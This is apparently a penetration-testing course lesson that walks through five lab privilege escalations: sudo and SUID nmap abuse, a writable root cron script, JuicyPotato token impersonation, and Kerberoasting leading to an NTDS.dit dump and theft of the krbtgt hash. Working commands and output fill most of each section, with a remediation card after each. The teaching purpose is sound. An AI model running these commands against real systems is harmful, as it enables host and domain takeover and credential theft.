Privilege escalation — Guided walkthrough
Five escalations end to end. Three on Linux (Metasploitable 2), two on Windows (Metasploitable 3 + a small AD lab). Each time: the context, the command, the proof, the report.
All the VMs are on the host-only network. No command leaves the lab.
What you will be able to do after this lesson
- Find and exploit five different escalation paths.
- Use
linpeas,winpeas,gtfobins,bloodhoundcleanly. - Crack a Kerberos TGS with
hashcat -m 13100. - Extract in-memory credentials from a Windows machine.
- Write an escalation finding usable in a report.
The setup
| Machine | Role | IP |
|---|---|---|
| Kali | Attacker | 10.10.10.5 |
| Metasploitable 2 (Linux) | Linux target, msfadmin session obtained | 10.10.10.20 |
| Metasploitable 3 Win | Standalone Windows target, vagrant session obtained | 10.10.10.12 |
| DC AD lab | Domain controller acme.local | 10.10.10.100 |
| WS01 AD lab | Domain-joined Windows workstation, alice session obtained | 10.10.10.101 |
We build the mini AD lab with GOAD or with a simple Windows Server + Windows 10 client. We come back to it in module 10.
Escalation 1 (Linux) — sudo vim with NOPASSWD
You have an msfadmin shell on Metasploitable 2. Question 1:
sudo -l
Output:
User msfadmin may run the following commands on this host:
(ALL) NOPASSWD: ALL
A teaching jackpot: msfadmin has full sudo rights with no password. No need for vim:
sudo bash
whoami
# root
Card:
## Escalation 1 — sudo NOPASSWD ALL (Metasploitable 2)
- Starting account: msfadmin
- Final account: root
- Path: sudo -l shows "NOPASSWD: ALL" → sudo bash
- Impact: total compromise of the machine
- Recommendation: remove the sudoers line, define specific commands
Escalation 2 (Linux) — SUID on nmap
Let's simulate a subtler scenario. On another VM, msfadmin does not have sudo. It has a SUID nmap:
find / -perm -4000 -type f 2>/dev/null | head
Output:
/usr/bin/nmap
/bin/mount
/bin/su
/usr/bin/passwd
A SUID root /usr/bin/nmap is abnormal. We check GTFOBins → on old nmap versions, the interactive mode:
nmap --interactive
nmap> !sh
sh-3.2# whoami
root
Root via nmap. Card:
## Escalation 2 — SUID on /usr/bin/nmap (interactive mode)
- Starting account: msfadmin
- Final account: root
- Path: nmap --interactive → !sh → root shell
- Impact: total compromise
- Recommendation: remove the SUID (chmod u-s /usr/bin/nmap), use targeted
capabilities if nmap must run without privileges
Escalation 3 (Linux) — Cron with a relative path
Let's set up a scenario artificially. As root on the VM, once:
# As root
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'echo "backup ran at $(date)" >> /var/log/backup.log' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
chown msfadmin:msfadmin /usr/local/bin/backup.sh # <-- intentional mistake
# Cron file
echo '* * * * * root /usr/local/bin/backup.sh' > /etc/cron.d/backup
As msfadmin, we spot:
ls -la /usr/local/bin/backup.sh
# -rwxr-xr-x 1 msfadmin msfadmin 55 /usr/local/bin/backup.sh
The script is owned by msfadmin, run by root every minute. We exploit it:
cat > /usr/local/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
Wait one minute:
sleep 65
/tmp/rootbash -p
whoami
# root
Card:
## Escalation 3 — Cron with a user-writable script
- Starting account: msfadmin
- Final account: root
- Path:
1. cat /etc/cron.d/backup → script run by root
2. ls -la /usr/local/bin/backup.sh → owned by msfadmin
3. Replace the script with a SUID payload
4. After one minute: /tmp/rootbash -p → root shell
- Impact: total compromise of the machine, with persistence
- Recommendation: chown root:root for all scripts in root cron
Escalation 4 (Windows) — WinPEAS and token impersonation
On Metasploitable 3 Windows, you have a vagrant session in Meterpreter:
meterpreter > getuid
Server username: METASPLOITABLE3\vagrant
meterpreter > getprivs
Enabled Process Privileges
==========================
SeAssignPrimaryTokenPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeDebugPrivilege ← DEBUG !
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
SeImpersonatePrivilege ← IMPERSONATE !
SeCreateGlobalPrivilege
SeIncreaseWorkingSetPrivilege
SeTimeZonePrivilege
SeCreateSymbolicLinkPrivilege
SeImpersonatePrivilege = we can steal a token. This is a service account, or a user account, historically misconfigured.
Use PrintSpoofer or JuicyPotato to pivot to SYSTEM:
meterpreter > upload /usr/share/windows-resources/juicypotato/JuicyPotato.exe
meterpreter > shell
C:\> whoami
metasploitable3\vagrant
C:\> JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....................
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};nt authority\system
[+] CreateProcessWithTokenW OK
On recent Windows 10/11, use PrintSpoofer or RoguePotato depending on the version.
Card:
## Escalation 4 — Token impersonation via SeImpersonatePrivilege
- Starting account: METASPLOITABLE3\vagrant
- Final account: NT AUTHORITY\SYSTEM
- Path:
1. getprivs reveals SeImpersonatePrivilege
2. Exploitation with JuicyPotato/PrintSpoofer
3. SYSTEM shell
- Impact: full control of the system, hash extraction possible
- Recommendation: minimize service accounts with SeImpersonate,
monitor token creation via WMI
Escalation 5 (AD) — Kerberoasting end to end
You have the alice session on WS01, a machine joined to the acme.local domain. Goal: reach Domain Admin.
5a. List the SPNs
From Kali, with Impacket:
impacket-GetUserSPNs -request \
-dc-ip 10.10.10.100 \
acme.local/alice:Alice2024! \
-outputfile preuves/tgs-tickets.txt
Output:
ServicePrincipalName Name MemberOf
MSSQLSvc/sqlserver.acme:1433 svc_sql CN=Service Accounts,CN=Users,DC=acme,DC=local
CIFS/backup.acme.local svc_backup CN=Service Accounts,CN=Users,DC=acme,DC=local
[*] Tickets written to preuves/tgs-tickets.txt
Two service accounts with an SPN. Two Kerberos tickets retrieved.
File excerpt:
$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123def456...
5b. Cracking with hashcat
hashcat -m 13100 preuves/tgs-tickets.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
After a few minutes:
$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123...:SQLpass2020!
The SQL service account's password in 3 minutes.
5c. Pivot
With the password, we connect:
impacket-psexec acme.local/svc_sql:SQLpass2020!@sqlserver.acme.local
SYSTEM shell on sqlserver.acme.local.
On that server, Meterpreter → BloodHound collector → we see:
svc_sqlis a member ofBackup Operators.Backup Operatorscan read any system file, includingNTDS.diton the DC.
Final path:
# From the SQL server, use ntdsutil to copy NTDS.dit:
ntdsutil "ac in ntds" "ifm" "cr fu C:\temp\dump" q q
# Pull it back over SMB, extract with impacket-secretsdump:
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
Output:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c...:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8d3...:::
The krbtgt hash = the ability to forge a Golden Ticket = permanent access to the domain.
5d. Card
## Escalation 5 — Kerberoasting → Backup Operators → NTDS.dit
- Starting account: ACME\alice (standard user)
- Final account: Full compromise (krbtgt hash)
- Path:
1. impacket-GetUserSPNs → 2 service accounts with SPN
2. hashcat -m 13100 → svc_sql password cracked
3. psexec on SQL server → local SYSTEM
4. BloodHound reveals svc_sql ∈ Backup Operators
5. ntdsutil IFM on DC → NTDS.dit + SYSTEM hive
6. secretsdump → krbtgt hash extracted
- Impact: full domain compromise, Golden Ticket possible
- Recommendations:
1. svc_sql password > 25 characters (resists cracking)
2. Remove svc_sql from the Backup Operators group
3. Audit all accounts with an SPN, lengthen their passwords
4. Move to MSAs (Managed Service Accounts) that rotate automatically
Step 6 — BloodHound in support
BloodHound makes paths like the one in step 5 visible. From Kali:
# Collector from WS01 with alice's creds
bloodhound-python -u alice -p 'Alice2024!' -d acme.local \
-ns 10.10.10.100 -c All -o preuves/bloodhound
# Import into Neo4j
neo4j start
bloodhound
# Drag & drop the .json files into the interface
Ready-made query: Shortest Paths to Domain Admins from Owned.
We see the path alice → svc_sql (via kerberoast) → Backup Operators → DC → Domain Admin as a graph. This is what we show the client. Far more compelling than a list of commands.
Step 7 — The summary table
| # | Target | Start | End | Path | Evidence |
| - | --------------- | --------- | ---------- | -------------------------------- | -------------------------- |
| 1 | metasploitable2 | msfadmin | root | sudo NOPASSWD | preuves/01-sudo.log |
| 2 | metasploitable2 | msfadmin | root | SUID on nmap --interactive | preuves/02-nmap-suid.log |
| 3 | metasploitable2 | msfadmin | root | writable cron script | preuves/03-cron.log |
| 4 | metasploitable3 | vagrant | SYSTEM | JuicyPotato / SeImpersonate | preuves/04-potato.log |
| 5 | acme.local | alice | Full compro| Kerberoast → Backup Ops → NTDS.dit| preuves/05-kerberoast.log |
Wrap-up
In 90 minutes:
- Five different escalations, five different paths.
- Five proofs in a folder.
- A BloodHound graph that makes the AD discovery visual.
- A krbtgt hash — enough to survive any partial remediation.
This is what a client pays for. Not the scans. Not the CVEs. The paths.
Next lesson: your turn. Three escalations, three paths, three cards.